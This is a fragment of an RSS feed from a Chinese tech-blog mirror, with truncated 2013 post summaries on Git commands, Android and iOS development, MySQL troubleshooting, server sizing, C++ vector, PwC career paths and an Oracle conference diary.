      <link>https://bchobby.github.io/posts/640ed002256017daa23a7ff807465674/</link>
      <pubDate>Tue, 23 Jul 2013 23:54:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/640ed002256017daa23a7ff807465674/</guid>
      <description>今天在OOW的ACOUG专场分享了Think Different的主题。&#xA;[@more@] 今天一天在会场非常的充实。到了会场后先去听了今天的KeyNotes，其中Steve Miranda的云计算的主题以及Andy Mendelsohn的12c数据库对云计算的支持，都是本次大会的重点话题。Oracle 12c中的C指的就是CLOUD，而12c最大的亮点PLUGABLE DB就是Oracle在DB层对云架构的支持。&#xA;如果说去年OOW大会只是给出了12c PLUGABLE DATABASE的概念，那么今年OOW上Oracle已经想好要如何用PDB来支持云服务了，甚至我怀疑Oracle来云服务的收费细则都已经定义好了，青铜、白银和黄金三档，每档对应的架构和服务都已经定义清楚，而在各个档之间进行升级也同样进行说明。看来Oracle已经准备利用12c来打造数据库服务云了。只不过以Oracle以往收费的标准，不知道一些不想自己搭建环境、维护数据库的中小企业，能否接受正版云服务的价格。&#xA;中午OOW的午饭一如既往的不给力，这种面包、三明治的配置更适合老外，估计大部分国内参会者，这三天午饭会比较郁闷。&#xA;下午全程参加了展览大厅的ACOUG活动，首先是Eygle两个优化的主题，然后是Kamus三个关于升级的主题，最后是我的两个主题，一个是ODA，另一个是Think Different。可惜的是，每个主题的时间只有二十分钟，而我们任何一个主题正常时间都应该超过1小时。因此，最终Eygle只讲了一个主题就超过了两个主题的时间，而Kamus最后紧赶慢赶终于完成了三个主题，但是时间方面超了不少。根据他们两个的前车之鉴，我直接选择了现场绝大部分人都想听的Think Different，而舍弃了ODA的主题。其实舍弃ODA也比较可惜，在OOW的现场展示了ODA的最新版本，而我在中午的时候还把最新版的ODA的内容添加到了PPT里面。&#xA;剩下一些零碎的时间基本上都在公司的展台帮忙，除了解答问题，当背景合影外，还碰到了不少新、老朋友。&#xA;来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/4227/viewspace-1060792/，如需转载，请注明出处，否则将追究法律责任。 转载于:http://blog.itpub.net/4227/viewspace-1060792/</description>
    </item>
    <item>
      <title>Git常用命令</title>
      <link>https://bchobby.github.io/posts/a7501d0f4b5b396d2a09a808ea968fae/</link>
      <pubDate>Tue, 23 Jul 2013 10:03:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7501d0f4b5b396d2a09a808ea968fae/</guid>
      <description>查看命令&#xA;1.变更查看commit log的格式&#xA;git log --pretty=oneline 每个commit内容只显示一行（oneline还可以改为short等）&#xA;2.获取远程分支后，查看要并进本地分支的内容是什么，本地分支为branchName&#xA;git fetch origin&#xA;git log --no-merges origin/master branchName&#xA;3.查看远程分支更新内容，同2&#xA;git fetch origin&#xA;git log origin/featureA ^featureA&#xA;创建和更新分支 1.本地新建一个featureB，并把远程服务器的master分支clone下来&#xA;git checkout -b featureB origin/master 2.合并远端服务器&#xA;git checkout featureB&#xA;如果远端服务器已经更新了，要先fetch&#xA;git fetch origin&#xA;会把远端的新分支和内容取下来。&#xA;git merge origin/featureBee&#xA;融合远端分支到本地&#xA;git push origin featureB:featureBee （格式——git push 远端名 本地分支名:远程服务器对应的分支名）&#xA;把本地的featureB内容push到远端featureBee&#xA;3.衍合——即把分支A的特性融合到指定分支&#xA;git checkout featureA 打开分支A&#xA;git rebase origin/master 意思是已经从远端服务器（origin）fetch下来master了，现在要把当前的featureA的内容衍合到origin/master（服务器端的master）&#xA;git push origin featureA 提交该衍合操作&#xA;如果要覆盖远端的featureA（当现在的featureA并非原来的后续更新）可以加-f参数，表示force&#xA;git push -f origin featureA</description>
    </item>
    <item>
      <title>非常详细的普华永道PwC本科和研究生薪酬待遇和晋升路线介绍</title>
      <link>https://bchobby.github.io/posts/06d2280acd4fc1c5ac3ccac4787482de/</link>
      <pubDate>Wed, 17 Jul 2013 14:02:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06d2280acd4fc1c5ac3ccac4787482de/</guid>
      <description>应届生进入普华永道pwc的待遇如何？有什么福利？怎么发展？来看看吧……&#xA;上海普华永道pwc在市中心最繁华的地段的普华永道大厦，和花旗银行同处一楼，新天地对面，环境非常幽雅。在普华永道工作，待遇不会低，但是想要有个好身体很难，因为压力太大，工作强度也大，加班和随时随地接电话是家常便饭。先来看看一个应届生的情况：&#xA;我普通本科毕业，家住黑龙江齐齐哈尔，刚毕业时在普华永道实习，半年后录用，当时月工资+奖金平均下来4500左右，现在从助理会计师升级，月工资奖金7000+. 人在上海，去掉房租吃饭应酬每月最多能存下2000块钱，不知道何时能买上房子，哎，遥遥无期啊，最羡慕那些上海公务员，很多人什么都不干都能10000+哎 顺便说下，我每天只能睡6个小时，压力巨大，外企不是人啊&#xA;如果一个专业员工(professional staff)在普华永道终老一生的话（但是大多数人都不用妄想了），&#xA;他的职业路径会是如下所示：&#xA;审计员(associate,2年)——高级审计员(senior associate,3年)——经理(manager,3年)&#xA;——高级经理(senior manager,3年)——董事(director,可选)——合伙人(partner,终身)&#xA;在审计员到高级审计员的5年时间里，由低到高可以细分为a2,a1,sa3,sa2和sa1。&#xA;无论是本科生还是研究生毕业，如果没有四大的专业经历的话，进公司必须从a2做起。&#xA;研究生可以多拿300-500元的工资，仅此而已。&#xA;所以研究生进四大绝对是鸡肋，一方面拼体力不是本科生的对手，&#xA;另一方面，得到的回报也不能和3年研究生的投入相匹配，&#xA;还要听一些比自己年少的senior的使唤，&#xA;因此，这几年来，研究生入四大已经越来越稀少了。&#xA;通常在升经理之前，每年晋升一级是很有保证的，&#xA;尽管在审计员升高级审计员会有一个小坎，但多数人都能顺利过关&#xA;如果你因为工作不力或者结怨而被delay的话，那么你真的算混得比较惨的&#xA;比delay更惨的则是劝退，现在上海普华永道的员工总数已近2000人&#xA;所以每年有几个员工被劝退也是很正常的事情&#xA;决定审计员阶段（含高级审计员）升迁的主要依据&#xA;是高级员工（如高级审计员和经理）对下级员工的评价和推荐&#xA;每年6月份，公司会要求下级员工在专门的考评系统中按项目进行自我评价&#xA;再由高级员工在考评系统中对本项目的下级员工进行评分并撰写评语&#xA;一般是高级审计员评审计员，经理评高级审计员，合伙人评经理&#xA;因为项目实在太多，高级员工需要评价的下级员工也实在太多&#xA;所以高级员工只管评分，评语部分也有下级员工自行撰写，高级员工审阅通过即可&#xA;评分为5分制，1分最好，5分最低&#xA;通常如果没有个人恩怨的话，就从3分开始起评&#xA;为了保证大家评分标准基本一致，hr会计算高级员工打出的加权平均分，&#xA;如果分数打得比较极端的话，会要求进行相应的更正&#xA;评分完毕后就是开senior meeting（这里仅以为审计员升高级审计员为例）&#xA;因为需要评价的员工实在太多，而会议时间也就2、3个小时&#xA;因此只能按“枪打出头鸟”的方法形式，对特别优秀和特别失败的员工进行评价&#xA;hr将各个审计员按照加权评分高低进行排列，选出评分最高的几位和最低的几位&#xA;然后由各个高级审计员进行评价，然后大家就七嘴八舌的说开了&#xA;除非你真的结怨很深，一般大家也就得过且过，默认分数的排列&#xA;对于排列最末的几位，hr还会征询其他经理的意见，如果大家都觉得这些员工很差的话&#xA;delay和劝退就是难免的事情了&#xA;所以这个会议俗名“小黑会”&#xA;小黑会结束后，就是论功行赏的时候，按照分数的不同分为5到6级&#xA;渐次拉开每个分数段的工资水平，&#xA;最高级和最低级的基本工资差距约在1500元左右(sa3 level)&#xA;考虑到加班费是按照基本工资计算的，实际到手的差距可能更大&#xA;在公司里，如果你会做事的话，大家自然会为你说好话；&#xA;如果你不会做事但是很会做人的话，大家也愿意睁一眼闭一眼，让你随大流晋升；&#xA;如果你上述两件都不在行的话，那真的只能说sorry了。&#xA;无论在哪里，做事和做人都是十分重要的。&#xA;四大的一个特点是可以准确预计未来几年自己的收入水平，&#xA;因为四大员工的收入来源有限，而工资的涨幅比较稳定&#xA;四大员工的收入来源限于基本工资、加班费和出差补贴&#xA;第一年员工的工资现在是5100元左右，其后每年约有20-30%的涨幅&#xA;仅以涨幅论的话，审计员升高级审计员(a1-sa3)是最大的&#xA;因为你在成为高级审计员后，需要单独负责一个项目，责任和工作负担都有较大的增长&#xA;然而，一切也仅限于此了，四大没有任何其它形式的补贴，如房贴车贴等&#xA;也不会发放任何节假日的奖金福利，甚至连发个月饼也不行&#xA;所有的报酬都是建立在金钱上的，万分简单却也十分单调&#xA;对于税务部门来说，上述路径图换成顾问——高级顾问——经理即可&#xA;咨询部门也与此类似，区别在于，咨询的a2大多已经是有工作经验的员工了&#xA;因此升经理的时间可能会推迟2年&#xA;在普华永道作了3年高级审计员之后，通常就该升经理了&#xA;在四大，升经理比在外面的企业相对容易，&#xA;因为在四大，经理是一个title；</description>
    </item>
    <item>
      <title>计算机领域的所有SCI一区期刊，这是最顶级期刊了</title>
      <link>https://bchobby.github.io/posts/e52da684ef8c034d26c31cb5f8cef806/</link>
      <pubDate>Tue, 16 Jul 2013 09:30:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e52da684ef8c034d26c31cb5f8cef806/</guid>
      <description>刊名全称小类名称（中文） 2008年影响因子&#xA;HUMAN-COMPUTER INTERACTION 计算机：控制论2.905&#xA;BIOINFORMATICS 计算机：跨学科应用4.328&#xA;IEEE TRANSACTIONS ON MEDICAL IMAGING 计算机：跨学科应用4.004&#xA;JOURNAL OF THE AMERICAN MEDICAL INFORMATICS ASSOCIATION计算机：跨学科应用 3.428&#xA;MEDICAL IMAGE ANALYSIS 计算机：跨学科应用3.602&#xA;NEUROINFORMATICS 计算机：跨学科应用2.889&#xA;ACM COMPUTING SURVEYS 计算机：理论方法9.92&#xA;IEEE TRANSACTIONS ON EVOLUTIONARY COMPUTATION 计算机：理论方法 3.736&#xA;IEEE TRANSACTIONS ON NEURAL NETWORKS 计算机：理论方法3.726&#xA;JOURNAL OF THE ACM 计算机：理论方法2.339&#xA;INTERNATIONAL JOURNAL OF COMPUTER VISION 计算机：人工智能5.358&#xA;IEEE TRANSACTIONS ON PATTERN ANALYSIS AND MACHINE INTELLIGENCE计算机：人工智能 5.96&#xA;MEDICAL IMAGE ANALYSIS 计算机：人工智能3.602&#xA;IEEE TRANSACTIONS ON EVOLUTIONARY COMPUTATION 计算机：人工智能 3.</description>
    </item>
    <item>
      <title>GridView 横向滚动</title>
      <link>https://bchobby.github.io/posts/de507bdfbaebe627bc74793dadace81f/</link>
      <pubDate>Mon, 15 Jul 2013 11:14:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de507bdfbaebe627bc74793dadace81f/</guid>
      <description>GridView和ListView都是android比较重要的控件，但是横滚的控件不是太多。&#xA;这里介绍怎么把GridView横向滚动起来，看到其他网友也有相应的解决方法，自己只是把这些知识总结一下，供大家参考！&#xA;首先让GridView横向滚动需要HorizontalScrollView这个控件，例如：&#xA;[html] view plain copy &amp;lt;span style=&#34;font-family:&#39;Microsoft YaHei&#39;;font-size:14px;&#34;&amp;gt;&amp;lt;LinearLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34; android:layout_width=&#34;fill_parent&#34; android:layout_height=&#34;fill_parent&#34; &amp;gt; &amp;lt;HorizontalScrollView android:layout_width=&#34;fill_parent&#34; android:layout_height=&#34;wrap_content&#34; android:scrollbars=&#34;none&#34; &amp;gt; &amp;lt;LinearLayout android:layout_width=&#34;fill_parent&#34; android:layout_height=&#34;wrap_content&#34; android:orientation=&#34;horizontal&#34; &amp;gt; &amp;lt;GridView android:id=&#34;@+id/gridview&#34; android:layout_width=&#34;fill_parent&#34; android:layout_height=&#34;wrap_content&#34; android:layout_gravity=&#34;center&#34; &amp;gt; &amp;lt;/GridView&amp;gt; &amp;lt;/LinearLayout&amp;gt; &amp;lt;/HorizontalScrollView&amp;gt; &amp;lt;/LinearLayout&amp;gt;&amp;lt;/span&amp;gt; 以上是主要布局，然后我们写GridView中每个item中的布局，比较简单，只是给大家介绍下： [html] view plain copy &amp;lt;span style=&#34;font-family:&#39;Microsoft YaHei&#39;;font-size:14px;&#34;&amp;gt;&amp;lt;LinearLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34; android:layout_width=&#34;fill_parent&#34; android:layout_height=&#34;wrap_content&#34; android:orientation=&#34;vertical&#34; &amp;gt; &amp;lt;ImageView android:layout_width=&#34;100dp&#34; android:layout_height=&#34;100dp&#34; android:background=&#34;#00ff00&#34; /&amp;gt; &amp;lt;TextView android:id=&#34;@+id/item_textview&#34; android:layout_width=&#34;100dp&#34; android:layout_height=&#34;20dp&#34; android:gravity=&#34;center&#34; /&amp;gt; &amp;lt;/LinearLayout&amp;gt;&amp;lt;/span&amp;gt; 上面是item的布局，比较简单，就是一个ImageView和TextView,然后是主要实现GridView的Adapter。 以下是Activity的实现方法。&#xA;[java] view plain copy &amp;lt;span style=&#34;font-family:&#39;Microsoft YaHei&#39;;font-size:14px;&#34;</description>
    </item>
    <item>
      <title>服务器性能估算</title>
      <link>https://bchobby.github.io/posts/aa089d4088ac1bf0664a2c209f41ad7b/</link>
      <pubDate>Sun, 14 Jul 2013 07:32:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa089d4088ac1bf0664a2c209f41ad7b/</guid>
      <description>服务器处理性能估算&#xA;系统的建设，必须满足未来5年业务发展和管理的需求，所以下面对服务器性能指标的估算，将以满足未来5年的需要为基准。&#xA;1. 数据库服务器&#xA;1.1. TPCC值估算&#xA;约定：&#xA;系统同时在线用户数为100人（U1）； 平均每个用户每分钟发出2次业务请求（N1）；&#xA;系统发出的业务请求中，更新、查询、统计各占1/3；&#xA;平均每次更新业务产生3个事务（T1）；&#xA;平均每次查询业务产生8个事务（T2）；&#xA;平均每次统计业务产生13个事务（T3）；&#xA;一天内忙时的处理量为平均值的5倍；&#xA;经验系数为1.6；(实际工程经验)&#xA;考虑服务器保留30％的冗余；&#xA;服务器需要的处理能力为：&#xA;TPC-C=U1*N1*（T1+T2+T3）/3*3*经验系数/冗余系数 则数据库服务器的处理性能估算为：&#xA;TPC-C= 100*2*（3+8+13）/3*5*1.6/0.7= 18,285 TPM&#xA;1.2. 内存估算&#xA;该服务器内存主要由操作系统占用内存、数据库系统占用内存、并发连接占用内存等几部分组成。&#xA;约定：&#xA;操作系统占用约400M内存空间； 数据库系统占用内存0.8G ；&#xA;每个并发连接占用5 M；&#xA;考虑服务器内存保留15％的冗余；&#xA;则服务器的内存估算为：&#xA;Mem =(400M + 0.8GB + 100*5M) /(1-15%) = 2 GB&#xA;1.3. 存储容量估算&#xA;预算管理系统中存储着预算编制数据等资料信息以及日志等管理信息。&#xA;在已经考虑了数据冗余的前提下，约定：&#xA;? 每月有100个分局或部室编制预算；&#xA;? 每月每个分局或部室编制1次预算；&#xA;? 预算模板共含6000个预算指标；&#xA;? 每个预算指标含5条明细项目；&#xA;? 每条记录占用空间300B；&#xA;每月的预算数据存储容量需求：6000*5*100*500B=1.5G&#xA;每月的日志数据存储容量需求：0.1G&#xA;每月进行数据备份一次，数据存储容量需求：12*9G=108G&#xA;整年总共需用存储容量：12*1.5G+1.5G+12*0.1G+12*9G=20.7G+108G=128.7G&#xA;约定系统中预算编制数据等资料信息以及日志等管理信息在线保存5年(备份数据每年进行清除)，则预算管理系统的存储容量估算为：&#xA;5*20.7G+108G =103.5G+108G=211.5G&#xA;1.4. 服务器安装软件&#xA;该服务器中将需要安装的软件如下：&#xA;操作系统为：Windows 2000 Server</description>
    </item>
    <item>
      <title>让viewDidLoad和viewWillAppear各司其责</title>
      <link>https://bchobby.github.io/posts/12c6073e018a005a600667f3c1fb478a/</link>
      <pubDate>Fri, 12 Jul 2013 23:35:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12c6073e018a005a600667f3c1fb478a/</guid>
      <description> 注：本文由破船译自：thejoeconwayblog&#xA;你是否有过这样的感觉：有时某些代码是放到viewDidLoad还是viewWillAppear:中，这很容易让人混淆。在Stack Overflow上经常会遇到这样的问题：viewDidLoad和viewWillAppear到底哪个方法先被调用？实际上，理解这些方法的去向，以及为什么会这样并不重要，重要的是需要知道这些方法的作用，以及它们是如何与程序协调分工的。&#xA;我们知道，一般iOS应用程序都是由多个view controller构成的，每个view controller代表一个屏幕的信息。而当程序与用户交互时，根据程序中不同的状态，显示不同的view controller。例如，如果用户需要注册一个账号时，屏幕上应该显示出允许用户输入个人信息的界面，当用户完成注册之后，应该能够看到相应的主页面。&#xA;viewWillAppear:方法的作用是与屏幕中改变的内容进行交互。告诉view controller将对应的界面内容显示到屏幕最前端：确保view controller中所有的文本控件显示出最新的信息、必要的数据是可访问的、并对适当的通知(notification)进行观察等。当viewWillAppear:被触发时，说明对应的view controller变为”active”状态。&#xA;那么viewDidLoad方法存在的理由又是什么呢？唯一的原因——有时无法或者不能有效的在XIB文件中对用户界面进行100%的配置。例如，有时希望给view设置一个特殊的属性(该属性在XIB中不可用)、有时在给一个button设置背景图片之前，希望能先对该图片进行修改、再比如，在使用auto layout时，有时你可能会意识到在XIB中进行相关操作还不如用代码来写auto layout相关的代码。&#xA;我们不能根据viewDidLoad方法的调用情况，来推断出应用程序的状态相关信息。viewDidLoad方法实际上就是简单的一个文件加载后处理机制。换句话说，作为开发者，应该把viewDidLoad方法当做XIB文件的一个有效扩展，而不要理解为应用程序运转流程中的一部分。&#xA;这到底是什么意思呢？——我们应该在viewWillAppear:方法中对view中显示的内容进行变更，而不是在viewDidLoad中。view中的内容是程序实际运行时由controller传递给view来显示的数据(模型对象)。&#xA;下面我们来看一个示例：一个银行应用程序，可以显示用户当前的余额。当用户点击一个按钮时，可以在一个modal view controller中显示一个列表：该列表列出了用户附近的ATM机。在此，为了获得附近的ATM机列表信息，程序必须使用core location已经web service请求。在上面这种情况下，如果程序员把从服务器请求用户附近ATM列表的操作放到viewDidLoad中。此时，由于view controller只显示一次(viewDidLoad和viewWillAppear都只会被调用一次)，所以，从服务器请求用户附近ATM列表的操作，放到viewDidLoad与viewWillAppear中，对程序的效果都是一样的。&#xA;但是这样做法是不好的。想一下，如果把这个ATM view controller移到tab bar controller中，会是什么情况。现在，ATM view controller——在viewDidLoad中获取ATM信息的代码只会获取一次。所以，如果你周二在亚特兰大打开该程序查找ATM，然后查询一下余额。接着周三你去了纽约，再次打开该程序时，只能看到亚特兰大的ATM信息——view已经加载过了，所以不会再调用viewDidLoad方法。&#xA;注意：在这里应该有这样的前提条件：程序没有退出。&#xA;实际上，在这种情况下，写代码时犯下了一个最大的错误：the easiest way is the easiest way。应用程序是会发生变化的，而用户界面也会发生改变。刚开始使用简单的方法，可能会在以后引发各种问题。&#xA;本文由破船翻译●转载请注明出处●2013-07-02 </description>
    </item>
    <item>
      <title>mysqld dead but subsys locked 的解决办法</title>
      <link>https://bchobby.github.io/posts/afdf15f1d18777b3ba31866313299c48/</link>
      <pubDate>Mon, 08 Jul 2013 14:29:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afdf15f1d18777b3ba31866313299c48/</guid>
      <description>项目使用的mysql数据突然宕掉了，使用ps -ef|grep mysql ，没有发现mysql的进程，只有一些使用了mysql的项目的进程。&#xA;数据库脚本目录：/usr/bin/mysql&#xA;mysqld目录：/etc/init.d/mysqld&#xA;1、检查mysql服务状态：&#xA;[root@ bin]# /usr/bin/mysql status&#xA;ERROR 2002 (HY000): Can&#39;t connect to local MySQL server through socket &#39;/var/lib/mysql/mysql.sock&#39; (2) [root@ init.d]# /etc/init.d/mysqld status&#xA;mysqld dead but subsys locked&#xA;对于“mysqld dead but subsys locked” 网上找的资料都是说安装完数据库后没初始化数据造成无法启动的，这里不适用。没办法只有自己摸索了。&#xA;2、检查mysql 的pid文件 和socket文件，发现对应目录下没有 这2文件（目录可以通过查看my.cnf配置找到）&#xA;这里数据库pid和socket文件目录为：&#xA;pid-file：/var/run/mysqld/mysqld.pid&#xA;socket：/var/lib/mysql/mysql.sock 之前遇到过mysql无法启动，删除pid和socket文件 后就能启动了。&#xA;启动数据库：/etc/init.d/mysqld start 提示启动失败&#xA;查看日志 cat /var/log/mysqld.log，发现如下日志：&#xA;130708 12:36:04 [ERROR] Can&#39;t start server: Bind on TCP/IP port: Address already in use&#xA;130708 12:36:04 [ERROR] Do you already have another mysqld server running on port: 3306 ?</description>
    </item>
    <item>
      <title>unfortunately,launcher has stopped</title>
      <link>https://bchobby.github.io/posts/9d4b0980f04da30caa9597c9f9ece4a8/</link>
      <pubDate>Sun, 07 Jul 2013 14:44:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d4b0980f04da30caa9597c9f9ece4a8/</guid>
      <description>启动模拟器的时候就会报错：&#xA;unfortunately,launcher has stopped&#xA;这时候要注意你创建项目版本</description>
    </item>
    <item>
      <title>Xcode常用快捷方式</title>
      <link>https://bchobby.github.io/posts/2f7eea685ff9feaabd9cdda107265d9f/</link>
      <pubDate>Sat, 06 Jul 2013 11:31:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f7eea685ff9feaabd9cdda107265d9f/</guid>
      <description>1. esc 自动完成, 作用和VS中的ctrl+j类似，像 Eclipse 的 alt+/ 2. command + /　注释代码和反注释，用 //，相当于 Eclipse 的 ctrl+/ 3. control + command + 上/下箭头　快速在头文件（.h）和实现文件（.m）之间切换 4. command + b　编译程序，不运行 5. command + r　编译并运行程序 6. command + shift + b　分析代码，找到潜在内存溢出问题 7. command + 单击 跳转到声明 8. option + 单击 弹出层中显示帮助信息 9. option + command + 左/右 方向键，折叠/打开当前方法 10. control + command + f Xcode 全屏，在 Lion 上支持 11. command + shit + y 打开/关闭控制台窗口 12.</description>
    </item>
    <item>
      <title>单片机常见笔试题</title>
      <link>https://bchobby.github.io/posts/80aa58c5099b5971e588f6dd14b43582/</link>
      <pubDate>Fri, 05 Jul 2013 12:31:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80aa58c5099b5971e588f6dd14b43582/</guid>
      <description>1、简单描述一个单片机系统的主要组成模块，并说明各模块之间的数据流流向和控制流 流向。简述单片机应用系统的设计原则。（仕兰微面试题目） 2、画出8031与2716（2K*8ROM）的连线图，要求采用三-八译码器，8031的P2.5,P2.4和 P2.3参加译码，基本地址范围为3000H-3FFFH。该2716有没有重叠地址？根据是什么？若 有，则写出每片2716的重叠地址范围。（仕兰微面试题目） 3、用8051设计一个带一个8*16键盘加驱动八个数码管（共阳）的原理图。（仕兰微面试 题目） 4、PCI总线的含义是什么？PCI总线的主要特点是什么？ （仕兰微面试题目） 5、中断的概念？简述中断的过程。（仕兰微面试题目） 6、如单片机中断几个/类型，编中断程序注意什么问题；（未知） 7、要用一个开环脉冲调速系统来控制直流电动机的转速，程序由8051完成。简单原理如 下：由P3.4输出脉冲的占空比来控制转速，占空比越大，转速越快；而占空比由K7-K0八 个开关来设置，直接与P1口相连（开关拨到下方时为&#34;0&#34;，拨到上方时为&#34;1&#34;，组成一个八 位二进制数N），要求占空比为N/256。 （仕兰微面试题目） 下面程序用计数法来实现这一功能，请将空余部分添完整。 MOV P1，#0FFH ；做输入&#xA;LOOP1 ：MOV R4，#0FFH ；&#xA;-------- MOV R3，#00H LOOP2 ：MOV A，P1 -------- SUBB A，R3 JNZ SKP1 -------- SKP1：MOV C，70H MOV P3.4，C ACALL DELAY ：此延时子程序略 -------- -------- AJMP LOOP1 8、单片机上电后没有运转，首先要检查什么？（东信笔试题） 9、What is PC Chipset? （扬智电子笔试） 芯片组（Chipset）是主板的核心组成部分，按照在主板上的排列位置的不同，通常分为 北桥芯片和南桥芯片。北桥芯片提供对CPU的类型和主频、内存的类型和最大容量、 ISA/PCI/AGP插槽、ECC纠错等支持。南桥芯片则提供对KBC（键盘控制器）、RTC（实时时 钟控制器）、USB（通用串行总线）、Ultra DMA/33(66)EIDE数据传输方式和ACPI（高级 能源管理）等的支持。其中北桥芯片起着主导性的作用，也称为主桥（Host Bridge）。 除了最通用的南北桥结构外，目前芯片组正向更高级的加速集线架构发展，Intel的 8xx系列芯片组就是这类芯片组的代表，它将一些子系统如IDE接口、音效、MODEM和USB直 接接入主芯片，能够提供比PCI总线宽一倍的带宽，达到了266MB/s。 10、如果简历上还说做过cpu之类，就会问到诸如cpu如何工作，流水线之类的问题。 （未知） 11、计算机的基本组成部分及其各自的作用。（东信笔试题） 12、请画出微机接口电路中，典型的输入设备与微机接口逻辑示意图（数据接口、控制接 口、所存器/缓冲器）。 （汉王笔试） 13、cache的主要部分什么的。（威盛VIA 2003.</description>
    </item>
    <item>
      <title>C&#43;&#43;中vector的详细说明</title>
      <link>https://bchobby.github.io/posts/8a23bc8ca3d5173c9a39e11025f6963c/</link>
      <pubDate>Wed, 03 Jul 2013 11:21:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a23bc8ca3d5173c9a39e11025f6963c/</guid>
      <description>1. 在C++中的详细说明 vector是C++标准模板库中的部分内容，它是一个多功能的，能够操作多种数据结构和算法的模板类和函数库。 vector之所以被认为是一个容器，是因为它能够像容器一样存放各种类型的对象， 简单地说，vector是一个能够存放任意类型的动态数组，能够增加和压缩数据。 2. 使用vector， ​必须在你的头文件中包含下面的代码： #include &amp;lt;vector&amp;gt; vector属于std命名域的，因此需要通过命名限定，如下完成你的代码： using std::vector; vector&amp;lt;int&amp;gt; vInts; 或者连在一起，使用全名： std::vector&amp;lt;int&amp;gt; vInts; 建议使用全局的命名域方式： using namespace std; 3. 初始化 vector &amp;lt;Elem&amp;gt; // 创建一个空的vector。 vector &amp;lt;Elem&amp;gt; c1(c2) // 复制一个vector vector &amp;lt;Elem&amp;gt; c(n) // 创建一个vector，含有n个数据，数据均已缺省构造产生 vector &amp;lt;Elem&amp;gt; c(n, elem) // 创建一个含有n个elem拷贝的vector vector &amp;lt;Elem&amp;gt; c(beg,end) // 创建一个含有n个elem拷贝的vector 4. 析构函数 c.~vector &amp;lt;Elem&amp;gt;() // 销毁所有数据，释放内存 5. 成员函数 c.assign(beg,end)c.assign(n,elem) 将[beg; end)区间中的数据赋值给c。将n个elem的拷贝赋值给c。 c.at(idx) 传回索引idx所指的数据，如果idx越界，抛出out_of_range。 c.back() // 传回最后一个数据，不检查这个数据是否存在。 c.begin() // 传回迭代器中的第一个数据地址。 c.capacity() // 返回容器中数据个数。 c.</description>
    </item>
    <item>
      <title>error LNK2005: &#34;public: void __thiscall std::basic_ofstream&lt;char,struct std::char_traits&lt;char&gt; &gt;::`v</title>
      <link>https://bchobby.github.io/posts/ca5565dee1799b6c1bbbba8e752cf90a/</link>
      <pubDate>Sun, 30 Jun 2013 17:05:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca5565dee1799b6c1bbbba8e752cf90a/</guid>
      <description>http://hi.baidu.com/haifeng60902/item/e0641a3d366b25f9a9842828&#xA;从这里看到的！&#xA;vpb记录 这不是版本问题，这是vs2010的问题&#xA;要解决，最简单的方法是不要用vs，第二简单的方法是在link commandline加上一行/FORCE:MULTIPLE&#xA;简单来说就是VS10的STL从import变成static了&#xA;osgDBd.lib(osg80-osgDBd.dll) : error LNK2005: &#34;public: void __thiscall std::basic_ofstream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::`vbase destructor&#39;(void)&#34; (??_D?$basic_ofstream@DU?$char_traits@D@std@@@std@@QAEXXZ) 已经在 SpatialProperties.obj 中定义&#xA;正在创建库 D:/OpenSceneGraph/OSG3.0.1/VirtualPlanetBuilder_buildx86b/Debugpbd.lib 和对象 D:/OpenSceneGraph/OSG3.0.1/VirtualPlanetBuilder_buildx86b/Debugpbd.exp&#xA;这个，我觉得是版本问题</description>
    </item>
    <item>
      <title>cxf工作原理</title>
      <link>https://bchobby.github.io/posts/1598207f03093b030bac8e4785f6ad43/</link>
      <pubDate>Sun, 23 Jun 2013 23:21:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1598207f03093b030bac8e4785f6ad43/</guid>
      <description>最近使用了一下cxf，简单的查看了部分源代码，给我的感觉它就是一个可以大大简化我们客户端编写远程方法调用的一个工具框架，只需要简单的几行代码就可以解决这种复杂的问题，下面就举个例子：&#xA;package com.yonge.cxf; import java.util.Date; import org.apache.cxf.frontend.ClientProxyFactoryBean; import org.apache.cxf.transport.jms.spec.JMSSpecConstants; import com.erayt.solar2.adapter.config.Weather; import com.erayt.solar2.adapter.fixed.HelloWorld; public class CXFClientTest { public static void main(String[] args) { ClientProxyFactoryBean factory = new ClientProxyFactoryBean(); factory.setTransportId(JMSSpecConstants.SOAP_JMS_SPECIFICATION_TRANSPORTID); factory.setAddress(&#34;http://localhost:9000/Hello&#34;); HelloWorld hello = factory.create(HelloWorld.class); Weather weather1 = hello.getWeather(new Date()); System.out.println(&#34;forecast:&#34; + weather1.getForecast()); } } 上面一段是客户端调用远程服务器中HelloWorld接口的getWeather方法 的一个具体实现。服务端的代码如下：&#xA;package com.erayt.solar2.adapter.driver; import org.apache.cxf.frontend.ServerFactoryBean; import com.erayt.solar2.adapter.config.HelloWorldImpl; import com.erayt.solar2.adapter.fixed.HelloWorld; public class CXFServer { protected CXFServer() throws Exception { HelloWorld helloworldImpl = new HelloWorldImpl(); ServerFactoryBean svrFactory = new ServerFactoryBean(); svrFactory.</description>
    </item>
    <item>
      <title>计算机软件的专利保护</title>
      <link>https://bchobby.github.io/posts/a8f6aa958d71c07f41cf88469f612eea/</link>
      <pubDate>Sun, 23 Jun 2013 11:22:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8f6aa958d71c07f41cf88469f612eea/</guid>
